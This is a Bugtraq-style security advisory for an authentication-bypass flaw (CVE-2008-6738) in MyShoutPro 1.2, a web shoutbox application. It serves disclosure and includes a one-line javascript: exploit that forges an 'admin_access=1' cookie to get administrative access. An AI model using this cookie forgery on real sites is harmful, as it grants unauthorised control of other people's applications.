MyShoutPro 'admin_access' Cookie Parameter Authentication Bypass Vulnerability

Bugtraq ID:	29780
Class:	Access Validation Error
CVE:	CVE-2008-6738
Remote:	Yes
Local:	No
Published:	Jun 17 2008 12:00AM
Updated:	May 07 2015 05:28PM
Credit:	Stack
Vulnerable:	Mark Girling MyShoutPro 1.2
Not Vulnerable:

MyShoutPro 'admin_access' Cookie Parameter Authentication Bypass Vulnerability

MyShoutPro is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible.

MyShoutPro 1.2 is vulnerable; other versions may also be affected.

MyShoutPro 'admin_access' Cookie Parameter Authentication Bypass Vulnerability

Attackers may exploit this issue through a browser.

The following example code is available:

javascript:document.cookie = "admin_access=1; path=/"; document.cookie = "admin_access=1; path=/";

MyShoutPro 'admin_access' Cookie Parameter Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

MyShoutPro 'admin_access' Cookie Parameter Authentication Bypass Vulnerability

References:

• MyShoutPro Homepage (Mark Girling)